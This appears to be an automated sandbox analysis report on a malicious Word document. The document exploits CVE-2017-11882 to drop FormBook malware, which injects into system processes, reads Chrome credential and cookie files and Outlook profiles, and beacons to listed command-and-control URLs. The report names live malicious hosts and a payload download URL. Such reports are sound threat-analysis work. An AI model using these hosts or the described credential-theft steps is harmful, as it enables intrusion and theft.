Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: NULL target: C:\Windows\SysWOW64\dfrgui.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: NULL target: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: NULL target: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\dfrgui.exe

Thread APC queued: target process: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\loud89334.scr "C:\Users\user\AppData\Roaming\loud89334.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process created: C:\Users\user\AppData\Roaming\loud89334.scr "C:\Users\user\AppData\Roaming\loud89334.scr"	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Process created: C:\Windows\SysWOW64\dfrgui.exe "C:\Windows\SysWOW64\dfrgui.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000002.635679196.00000000013C0000.00000002.00000001.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000000.391608670.00000000013C0000.00000002.00000001.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635387386.00000000013C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000002.635679196.00000000013C0000.00000002.00000001.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000000.391608670.00000000013C0000.00000002.00000001.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635387386.00000000013C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000002.635679196.00000000013C0000.00000002.00000001.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 00000007.00000000.391608670.00000000013C0000.00000002.00000001.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000002.635387386.00000000013C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Users\user\AppData\Roaming\loud89334.scr	Queries volume information: C:\Users\user\AppData\Roaming\loud89334.scr VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\hrzxgdw.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abr0vjm0.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abr0vjm0.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abr0vjm0.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abr0vjm0.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abr0vjm0.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abr0vjm0.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abr0vjm0.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abr0vjm0.zip VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Code function: 8_2_61E89CA0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

8_2_61E89CA0

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 6.2.loud89334.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loud89334.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\dfrgui.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 6.2.loud89334.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loud89334.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E293F7 sqlite3_bind_double,sqlite3_mutex_leave,	8_2_61E293F7
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E293D0 sqlite3_bind_text16,	8_2_61E293D0
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E29363 sqlite3_bind_text64,	8_2_61E29363
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E2933C sqlite3_bind_text,	8_2_61E2933C
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E292F5 sqlite3_bind_blob64,	8_2_61E292F5
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E292CE sqlite3_mutex_leave,sqlite3_bind_blob,	8_2_61E292CE
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E132AA sqlite3_bind_parameter_index,	8_2_61E132AA
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E295EC sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob,	8_2_61E295EC
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E2957F sqlite3_bind_zeroblob,sqlite3_mutex_leave,	8_2_61E2957F
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E29502 sqlite3_bind_pointer,sqlite3_mutex_leave,	8_2_61E29502
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E294D1 sqlite3_bind_null,sqlite3_mutex_leave,	8_2_61E294D1
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E294AB sqlite3_bind_int,sqlite3_bind_int64,	8_2_61E294AB
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E2945C sqlite3_bind_int64,sqlite3_mutex_leave,	8_2_61E2945C
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E296D3 sqlite3_bind_zeroblob64,sqlite3_mutex_enter,sqlite3_bind_zeroblob,sqlite3_mutex_leave,	8_2_61E296D3
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E03663 sqlite3_bind_parameter_count,	8_2_61E03663
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E03675 sqlite3_bind_parameter_name,	8_2_61E03675
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E169BB sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,	8_2_61E169BB
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E16BD7 sqlite3_mutex_enter,sqlite3_mutex_leave,sqlite3_transfer_bindings,	8_2_61E16BD7

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	33 Exploitation for Client Execution	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	312 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	16 System Information Discovery	SMB/Windows Admin Shares	1 Data from Local System	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	31 Obfuscated Files or Information	NTDS	121 Security Software Discovery	Distributed Component Object Model	1 Email Collection	6 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Install Root Certificate	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	41 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	312 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Doc PI.doc	37%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
Doc PI.doc	41%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\loud89334.scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr	16%	ReversingLabs
C:\Users\user\AppData\Local\Temp\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\loud89334.scr	16%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
www.xn--matfrmn-jxa4m.se	0%	Virustotal	Browse
universalmovies.top	21%	Virustotal	Browse
parkingpage.namecheap.com	0%	Virustotal	Browse
aceautocorp.com	1%	Virustotal	Browse
www.sqlite.org	0%	Virustotal	Browse
www.99b6q.xyz	0%	Virustotal	Browse
www.primeplay88.org	4%	Virustotal	Browse
www.terelprime.com	4%	Virustotal	Browse
www.aceautocorp.com	1%	Virustotal	Browse
www.kinkynerdspro.blog	4%	Virustotal	Browse
www.besthomeincome24.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-72.png	0%	Avira URL Cloud	safe
https://universalmovies.top/v	100%	Avira URL Cloud	phishing
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://www.kinkynerdspro.blog/ufuh/	0%	Avira URL Cloud	safe
https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking	0%	Avira URL Cloud	safe
http://www.xn--matfrmn-jxa4m.se/ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=JCl8GzBEdF4l5nIyfkeq0ia6oie6u6lAQeoh+x3kN0jP8DE3DVbhST9RD9xIYa+bXtx9nrjGgO+XENgp6DrguLhYbN7qtNMSCWk+pZJhu575eHJRgqTZAIE4NheL	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://www.terelprime.com/ufuh/?84O0=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&-Hc=N8_LbDFHuLL4ejZ	100%	Avira URL Cloud	malware
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://www.kinkynerdspro.blog/ufuh/	2%	Virustotal		Browse
https://static.loopia.se/shared/logo/logo-loopia-white.svg	0%	Avira URL Cloud	safe
https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw	0%	Avira URL Cloud	safe
https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe	0%	Avira URL Cloud	safe
http://www.aceautocorp.com	0%	Avira URL Cloud	safe
https://static.loopia.se/shared/logo/logo-loopia-white.svg	0%	Virustotal		Browse
https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	0%	Avira URL Cloud	safe
https://universalmovies.top/loudzx.scr	100%	Avira URL Cloud	phishing
http://www.searchvity.com/?dn=	0%	Avira URL Cloud	safe
https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw	1%	Virustotal		Browse
https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe	1%	Virustotal		Browse
http://www.aceautocorp.com	1%	Virustotal		Browse
https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking	1%	Virustotal		Browse
http://www.xn--matfrmn-jxa4m.se/ufuh/	0%	Avira URL Cloud	safe
http://www.primeplay88.org/ufuh/	0%	Avira URL Cloud	safe
https://universalmovies.top/loudzx.scr	17%	Virustotal		Browse
http://www.aceautocorp.com/ufuh/	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-72.png	0%	Virustotal		Browse
https://static.loopia.se/shared/images/additional-pages-hero-shape.webp	0%	Avira URL Cloud	safe
http://www.searchvity.com/?dn=	3%	Virustotal		Browse
https://static.loopia.se/shared/style/2022-extra-pages.css	0%	Avira URL Cloud	safe
http://www.xn--matfrmn-jxa4m.se/ufuh/	0%	Virustotal		Browse
https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	0%	Virustotal		Browse
http://www.primeplay88.org/ufuh/	4%	Virustotal		Browse
https://universalmovies.top/loudzx.scrj	100%	Avira URL Cloud	phishing
http://www.sqlite.org/2021/sqlite-dll-win32-x86-3340000.zip	0%	Avira URL Cloud	safe
https://static.loopia.se/shared/images/additional-pages-hero-shape.webp	0%	Virustotal		Browse
http://www.sqlite.org/2021/sqlite-dll-win32-x86-3340000.zip	0%	Virustotal		Browse
https://static.loopia.se/responsive/images/iOS-114.png	0%	Avira URL Cloud	safe
http://www.aceautocorp.com/ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L	0%	Avira URL Cloud	safe
http://www.sqlite.org/2017/sqlite-dll-win32-x86-3210000.zip	0%	Avira URL Cloud	safe
https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	0%	Avira URL Cloud	safe
http://www.sqlite.org/2017/sqlite-dll-win32-x86-3210000.zip	0%	Virustotal		Browse
https://static.loopia.se/shared/style/2022-extra-pages.css	0%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/styles/reset.css	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://www.primeplay88.org/ufuh/?84O0=uB/KNrYRIAEuVxS2CaQ/STQ79sXR+BlQlR67HQQqBOVPNI2QjXmfUVSCEalfoT0oEVOLH05GPMXaAce1CehAlwJBdX/jzmgGgvdHGe2cEEX0VUceLY//9BYN6rMd&-Hc=N8_LbDFHuLL4ejZ	0%	Avira URL Cloud	safe
http://www.aceautocorp.com/ufuh/	1%	Virustotal		Browse
https://static.loopia.se/responsive/images/iOS-57.png	0%	Avira URL Cloud	safe
https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	1%	Virustotal		Browse
https://www.google.com/favicon.ico	0%	Virustotal		Browse
https://static.loopia.se/responsive/images/iOS-114.png	0%	Virustotal		Browse
https://static.loopia.se/responsive/styles/reset.css	0%	Virustotal		Browse
https://universalmovies.top/loudzx.scrkkC:	100%	Avira URL Cloud	phishing
https://universalmovies.top/	100%	Avira URL Cloud	phishing
http://www.kinkynerdspro.blog/ufuh/?84O0=f+AHiK2Co9o+PjKa95eLWuYGzAnlJ1JKF0U6Lu5lfhAIXWifWEmzyo1tk2ryUUFbnpUI1yrkhJgLANJ0QoKTotmHPxBrzP8E8/tDVQZOz/lyKkl1Bs+TKl0SxUzf&-Hc=N8_LbDFHuLL4ejZ	0%	Avira URL Cloud	safe
http://www.searchvity.com/	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut	0%	Virustotal		Browse
https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin	0%	Avira URL Cloud	safe
https://universalmovies.top/	21%	Virustotal		Browse
https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
